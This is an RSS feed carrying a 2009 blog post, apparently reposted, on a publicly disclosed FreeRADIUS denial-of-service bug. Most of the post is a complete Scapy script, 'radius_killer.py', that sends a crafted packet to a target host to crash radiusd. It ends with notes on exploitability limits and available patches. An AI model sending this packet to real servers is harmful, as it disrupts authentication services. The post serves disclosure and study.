<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>-=[banksonk a.k.a bento]=- &#187; ddos</title>
	<atom:link href="http://www.kukukakikukakukaku.com/tag/ddos/feed" rel="self" type="application/rss+xml" />
	<link>http://www.kukukakikukakukaku.com</link>
	<description>www.kukukakikukakukaku.com</description>
	<lastBuildDate>Wed, 10 Aug 2011 04:14:43 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Freeradius Packet of Death</title>
		<link>http://www.kukukakikukakukaku.com/freeradius-packet-of-death.sonk</link>
		<comments>http://www.kukukakikukakukaku.com/freeradius-packet-of-death.sonk#comments</comments>
		<pubDate>Wed, 21 Oct 2009 02:59:50 +0000</pubDate>
		<dc:creator>bento</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ddos]]></category>
		<category><![CDATA[radius]]></category>

		<guid isPermaLink="false">http://www.kukukakikukakukaku.com/?p=31</guid>
		<description><![CDATA[I haven’t had a chance to use Scapy in a little while, and I don’t spend hardly any time in Python (don’t really know the language at all, to be honest), but a long time ago I was searching for an IPv6 capable successor to Hping. Scapy almost fits the bill.
Earlier today, while reading through [...]]]></description>
			<content:encoded><![CDATA[<p>I haven’t had a chance to use <a href="http://www.secdev.org/projects/scapy/doc/index.html">Scapy </a>in a little while, and I don’t spend hardly any time in Python (don’t really know the language at all, to be honest), but a long time ago I was searching for an IPv6 capable successor to <a href="http://www.hping.org/">Hping</a>. Scapy almost fits the bill.</p>
<p>Earlier today, while reading through <a href="http://www.gossamer-threads.com/lists/fulldisc/">Full Disclosure</a>, I came across something interesting: a <a href="http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/69935">Freeradius DoS bug</a>. This piqued my interest as I’m currently experiencing _something_ that’s periodically knocking over radiusd. Furthermore, the radius server in question talks to a router with problematic L2TP tunnels (caused by a software bugs in L2TP sequencing on the Telco router on the other end…their vendor has confirmed the problems)</p>
<p>Time to create the packet of death. Scapy doesn’t appear to have a layer for RadiusAttributes yet, thankfully it IS in their <a href="http://trac.secdev.org/scapy/attachment/ticket/92/radiuslib.py">Trac</a>.</p>
<p>So, download the layer to scapy/layers, ensure that it imports the required items:<br />
<code>    import struct<br />
    from scapy.packet import *<br />
    from scapy.fields import *<br />
    from scapy.layers.inet import UDP</p>
<p>    from scapy.layers.radius import Radius</code><br />
Add “radiuslib” to the load_layers array in config.py, and we’re ready to go:<br />
<code>    #!/usr/bin/env python<br />
    # FreeRadius Packet Of Death<br />
    # Matthew Gillespie 2009-09-11<br />
    import sys<br />
    from scapy.all import IP,UDP,send,Radius,RadiusAttr<br />
    if len(sys.argv) != 2:<br />
    print “Usage: radius_killer.py <radiushost>\n”<br />
    sys.exit(1)<br />
    PoD=IP(dst=sys.argv[1])/UDP(sport=60422,dport=1812)/ \<br />
    Radius(code=1,authenticator=”\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99″,id=180)/ \<br />
    RadiusAttr(type=69,value=”",len=2)<br />
    send(PoD)</code></p>
<p>Interestingly, one doesn’t need a shared key to send the packet of death, as you can tell the authenticator for the Access-Request packet is pulled out of thin air.</p>
<p>I’m assuming that most people iptable off access to their radius servers, so playing whack-a-mole with a provider probably isn’t that do-able. Beyond that, to even come close to possibly exploiting this, you need to be listed in clients.conf – so there’s already that level of trust.  Correct me if I’m wrong. Either way, updated packages are available.</p>
<p>source : <a href="http://www.braindeadprojects.com">www.braindeadprojects.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kukukakikukakukaku.com/freeradius-packet-of-death.sonk/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

